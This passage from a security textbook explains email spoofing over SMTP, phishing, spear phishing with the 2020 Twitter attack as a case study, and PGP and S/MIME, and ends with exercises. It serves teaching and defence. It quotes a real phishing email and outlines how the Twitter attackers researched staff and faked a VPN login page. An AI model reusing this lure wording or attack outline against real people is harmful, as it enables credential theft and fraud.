The original email transfer system was based on a small number of trustworthy participants, and the system grew with little attention to accuracy as the system was opened to less trustworthy participants. Proposals for more reliable email include authenticated Simple Mail Transport Protocol (SMTP) or SMTP-Auth (RFC 2554) or Enhanced SMTP (RFC 1869). But so many nodes, programs, and organizations are involved in the internet email system now that it would be infeasible to change the basic email transport scheme.
Without solid authentication, email sources are amazingly easy to spoof. Telnet is a protocol that essentially allows a user at a keyboard to send commands as if produced by an application program. SMTP, which is fully defined in RFC 5321, involves a number of text-based conversations between mail sender and receiver. Because the entire protocol is implemented in plain text, a person at a keyboard can create one side of the conversation in interaction with a server application on the other end, and the sender can present any message parameter value (including sender’s identity, date, or time).
It is even possible to create and send a valid email message by composing all the headers and content on the fly, through a Telnet interaction with an SMTP service that will transmit the mail. Consequently, headers in received email are generally unreliable.
Phishing
One type of fake email that has become prevalent enough to warrant its own name is phishing (pronounced “fishing”). In a phishing attack, the email message tries to trick the recipient into disclosing private data or taking another unsafe action. Phishing email messages purport to be from reliable companies such as banks or other financial institutions, popular website companies (such as Facebook or Google), or consumer products companies. An example of a phishing email posted as a warning on Microsoft’s website is shown in Figure 4-18 .
FIGURE 4-18 Example Phishing Email Message
The information presented in the email is as follows. From: Windows Live Hotmail Member Services <WindowSupportTeam at live dot com. To: blank. Subject: WARNING!!! UPGRADE YOUR WINDOWS LIVE HOTMAIL ACCOUNT TO AVOID SUSPENSION. This is followed by two button, namely, Rendered and Raw. The text in the page reads as follows. Welcome to Hotmail. Windows Live Hotmail is faster and safer due to the congestion on our database, Windows Live Hotmail will deactivate all dormant accounts. You will have to confirm your E-mail by relogin, or your account will be suspended within 24 hours for security reasons. Please click login to confirm your windows Live Hotmail Account. Coming soon! Find out what else is new or coming soon to Hotmail. This mail is followed by text information. The text is followed by a horizontal line, below which another text reads as follows. Asterisk This assumes a reasonable growth rate, which should be plenty, unless, of course, you want to store a luxury ocean Iner on Hotmail, You should use a dry dock for that. Also, some people will see ever-growing storage before others since it takes a couple of months to make it available to everyone. You'll know when you have it. Smiley emoticon. You are receiving this message from Windows Live because you are a valued member. Microsoft respects your privacy. To learn more, please read our online Privacy Statement. For more information or for general questions regarding your e-mail account, please visit Windows Live Hotmail Help. Microsoft Corporation, One Microsoft Way, Redmond, WA 98052-6399, USA © 2008 Microsoft Corporation. All rights reserved.
Phishing is also the basis of two clone attack vectors. Smishing is a phishing attack transmitted by SMS (text) message. Vishing uses a voice phone call. In all cases, a message—email, text, or voice call—attempts to get sensitive information.
A more pernicious form of phishing is known as spear phishing , in which the bait looks especially appealing to the prey. What distinguishes spear phishing attacks is their use of social engineering: The email lure is personalized to the recipient, thereby reducing the user’s skepticism. For example, as recounted in Sidebar 4-15 , a spear phishing email might appear to come from someone the user knows or trusts, such as a friend (whose email contacts list may have been purloined) or a system administrator. Sometimes the phishing email advises the recipient of an error, and the message includes a link to click to enter data about an account. The link, of, course, is not genuine; its only purpose is to solicit account names, numbers, and authenticators.
Spear phishing email tempts recipients by seeming to come from sources the receiver knows and trusts.
Sidebar 4-15 Spear Phishing Nets Big Phish
In July 2020, a Twitter employee swallowed a spear phisher’s bait. The attack targeted Twitter employees who had access to account support tools. Twitter said that 130 employees were targeted using a social engineering attack.
In August of that year, police arrested 17-year-old Graham Clark of Tampa, Florida, who subsequently pleaded guilty to the crime. He was sentenced to three years in prison as a youthful offender, followed by three years probation.
Clark and two accomplices painstakingly researched Twitter employees using LinkedIn to identify employees likely to have access to user accounts. Clark telephoned people at Twitter until he found someone who had a code that let him infiltrate the Twitter system as a Twitter employee. He then created a phishing page that looked like a real Twitter internal VPN login page to trick employees into revealing internal access credentials. With that code, he was able to send tweets as any Twitter user.
He sent messages from the account of former U.S. president Barack Obama, offering to return double any Bitcoin sent, saying the offer was his way to give back to the community because of losses and suffering due to the COVID-19 pandemic. Similar tweets went out under the accounts of President Joe Biden, investor Warren Buffett, and celebrities Elon Musk, Bill Gates, Kanye West, and others. The scams netted over US$117,000 [ GOO21 ].
Protecting Against Email Attacks
Email attacks are getting sophisticated. In the examples shown in this chapter, errors in grammar and poor layout would raise a user’s skepticism. But over time the spam artists have learned the importance of producing an authentic-looking piece of bait.
A team of researchers looked into whether user training and education are effective against spear phishing attacks. Deanna Caputo and colleagues [ CAP14 ] ran an experiment in which they sent three spear phishing emails, several months apart, to approximately 1,500 employees of a large company. Those who took the spear phishing bait and clicked the included link were soon sent anti-phishing security educational materials (ostensibly as part of the company’s ongoing security education program). The study seemed to show that the training had little effect on employees’ future behavior: People who clicked the link in the first email were more likely to click in the second and third; people who did not click were less likely. But in fact the employees weren’t trained at all. Post-experiment interviews revealed that when the training window opened up on the recipients’ computers, they thought the new window was malware—and closed it! So most recipients were unlikely to have read the full security training materials sent them, based on the time the training pages were open on the users’ screens.
Next we introduce two products that protect email in a different way: We know not to trust the content of email from a malicious or unknown sender, and we know source email addresses can be spoofed so any message can appear to come from a trusted source. We need a way to ensure the authenticity of email from supposedly reliable sources. Solving that problem provides a bonus: Not only are we assured of the authenticity and integrity of the content of the email, but we can also ensure that its contents are not readily available anywhere along the path between sender and recipient. Cryptography can provide these protections.
PGP
PGP stands for Pretty Good Privacy. It was invented by Phil Zimmerman in 1991. Originally a free package, it became a commercial product after being bought by Network Associates in 1996. OpenPGP is an Internet Engineering Task Force (IETF) standard that lets any company develop and distribute PGP products (free or for charge). Several commercial products are now available.
The problem we have frequently found with using cryptography is generating a common cryptographic key that both sender and receiver can have, but nobody else can. PGP tackles the key distribution problem with what is called a ring of trust or a user’s keyring. One user directly gives a public key to another, or the second user fetches the first’s public key from a server. Some people include their PGP public keys at the bottom of email messages. And one person can give a second person’s key to a third (and the third to a fourth, and so on). Thus, the key association problem becomes one of caveat emptor (let the buyer beware): If I trust you, I may also trust the keys you give me for other people. The model breaks down intellectually when you give me all the keys you received from people, who in turn gave you all the keys they got from still other people, who gave them all their keys, and so forth.
You sign each key you give me. The keys you received and then give me have also been signed by other people. I decide to trust the veracity of a key-and-identity combination, based on who signed the key. PGP does not mandate a policy for establishing trust. Rather, each user is free to decide how much to trust each key received.
The PGP processing performs some or all of the following actions, depending on whether confidentiality, integrity, authenticity, or some combination of these is selected:
-
Create a random session key for a symmetric algorithm.
-
Encrypt the message, using the session key (for message confidentiality).
-
Encrypt the session key under the recipient’s public key.
-
Generate a message digest or hash of the message; sign the hash by encrypting it with the sender’s private key (for message integrity and authenticity).
-
Attach the encrypted session key to the encrypted message and digest.
-
Transmit the message to the recipient.
The recipient reverses these steps to retrieve and validate the message content.
S/MIME
An internet standard governs how email is sent and received. The general MIME specification defines the format and handling of email attachments, including photos, movies, documents, and application code. S/MIME (Secure Multipurpose Internet Mail Extensions) is the internet standard for secure email attachments.
S/MIME is very much like PGP and its predecessors, PEM (Privacy-Enhanced Mail) and RIPEM (Riordan’s Internet Privacy-Enhanced Mail). The internet standards documents defining S/MIME (version 3) are described in [ HOU99 ] and [ RAM99 ]. S/MIME has been adopted in commercial email packages, such as Gmail, Thunderbird, Apple Mail, and Microsoft Exchange.
The principal difference between S/MIME and PGP is the method of key exchange. Basic PGP depends on each user’s exchanging keys with all potential recipients and establishing a ring of trusted recipients; it also requires establishing a degree of trust in the authenticity of the keys for those recipients. S/MIME uses hierarchically validated certificates (described in Chapter 2 ), usually represented in X.509 format, for key exchange. Thus, with S/MIME, the sender and recipient do not need to have exchanged keys in advance as long as they have a common certifier they both trust.
S/MIME works with a variety of cryptographic algorithms, such as DES, AES, and RC2 for symmetric encryption. S/MIME performs security transformations very similar to those for PGP. PGP was originally designed for plaintext messages, but S/MIME handles (secures) all sorts of attachments.
4.6 Conclusion
The internet is a dangerous place. As we explain in this chapter, the path from a user’s eyes and fingers to a remote site seems to be direct, but in fact it is a chain of vulnerable components. Some of those parts belong to the network, and we consider security issues in the network itself in Chapter 6 . But other vulnerabilities lie within the user’s area, in the browser, in applications, and in the user’s own actions and reactions. To improve this situation, either users have to become more security conscious or the technology more secure. As we argue in this chapter, for a variety of reasons, neither of those improvements is likely to occur. Some users become more wary, but at the same time the user population continually grows with a wave of young, new users who do not have the skepticism of more experienced users. And technology always seems to respond to the market demands for functionality—the “cool” factor—not security. You, as computer professionals with a healthy understanding of security threats and vulnerabilities, need to be the voices of reason arguing for more security.
In the next chapter we delve more deeply into the computing environment and explore how the operating system participates in providing security.
4.7 Exercises
1. The SilentBanker man-in-the-browser attack depends on malicious code that is integrated into the browser. These browser helpers are essentially unlimited in what they can do. Suggest a design by which such helpers are more rigorously controlled. Does your approach limit the usefulness of such helpers?
2. A cryptographic nonce is important for confirming that a party is active and fully participating in a protocol exchange. One reason attackers can succeed with many webpage attacks is that it is relatively easy to craft authentic-looking pages that spoof actual sites. Suggest a technique using a nonce by which a user can be assured that a page is both live and authentic from a particular site. That is, design a mark, data interchange, or some other device that shows the authenticity of a webpage.
3. Several of the attacks described in this chapter exploit the fact that human users cannot authenticate websites. Looking at a webpage, you might determine that it is not authentic (for example, by misspelled words, missing logos or pictures, or a nonspecific sense that something is wrong). But proving that a page is authentic is harder. List factors that would help to convince you a page is authentic.
4. In the Twitter attack described in this chapter, a human successfully impersonated a Twitter employee on a telephone call. Assume you were the Twitter employee. List steps you could take to verify the authenticity of a telephone caller before revealing sensitive data.
5. Part of the problem of malicious code, including programs that get in the middle of legitimate exchanges, is that it is difficult for a user to know what a piece of code really does. For example, if you voluntarily install a toolbar, you expect it to speed your search or fulfill some other overt purpose; you do not expect it to intercept your password. Outline an approach by which a piece of code would assert its function and data items it needed to access. Would a program such as a browser be able to enforce those access limits? Why or why not?
6. Typically we think of internet access through a computer or smartphone, but those are not the only devices. Smartwatches and fitness trackers are popular, and other devices such as smart thermostats or in-car entertainment systems are rising in popularity. Discuss the difficulties in securing devices other than computers or smartphones. What protection tools are available? What natural defenses do such kinds of devices have? What security vulnerabilities are inherent to these devices?
7. A CAPTCHA puzzle is one way to enforce that certain actions need to be carried out by a real person. However, CAPTCHAs are visual, depending not just on a person’s seeing the image but also on a person’s being able to recognize distorted letters and numbers. Suggest another method usable by those with vision limitations.
8. Are computer-to-computer authentications subject to the weakness of replay? Why or why not?
9. State an example of how webpage framing could be used to trick a victim.
10. In the example of spear phishing at Twitter, how might the targeted employees have detected the scam? How should they have acted to counter the phishing attempt, even if the request for information turned out to be legitimate?
11. Could a virus be planted on a smartwatch? Justify and explain your answer.
12. Clickjacking is facilitated by clear GIFs, images so tiny they are invisible to the human eye. Explain a way such technology could be used nonmaliciously. That is, justify allowing clear GIFs, instead of simply filtering out any image smaller than a visible size.
13. Figure 4-9 shows an advertisement for fake software. List five clues in the advertisement that raise suspicions of the authenticity of the product being advertised.
14. Explain how a forger can create an authentic-looking website for a commercial establishment.
15. Explain why spam senders frequently change from one email address and one domain to another. Explain why changing the address does not prevent their victims from responding to their messages.
16. Why does a web server need to know the address, browser type, and cookies for a requesting client?
17. Suggest a technique by which a browser could detect and block clickjacking attacks.
18. The issue of cross-site scripting is not just that scripts execute, for they do in many sites. The issue is that the script is included in the URL communicated between sites, and therefore the user or a malicious process can rewrite the URL before it goes to its intended destination. Suggest a way by which scripts can be communicated more securely.
19. What security principles are violated in the Greek cell phone interception example in Chapter 3 ?
20. Is the cost, processing time, or complexity of cryptography a good justification for not using it? Why or why not?
21. What attack is a financial institution seeking to counter by asking its customers to confirm that they see their expected security picture (a hot red sports car or a plate of cookies) before entering sensitive data?
22. Can encrypted email provide verification to a sender that a recipient has read an email message? Why or why not?
23. Can message confidentiality and message integrity protection be applied to the same message? Why or why not?
24. What are the advantages and disadvantages of an email program (such as Thunderbird or Outlook) that automatically applies and removes protection to email messages between sender and receiver?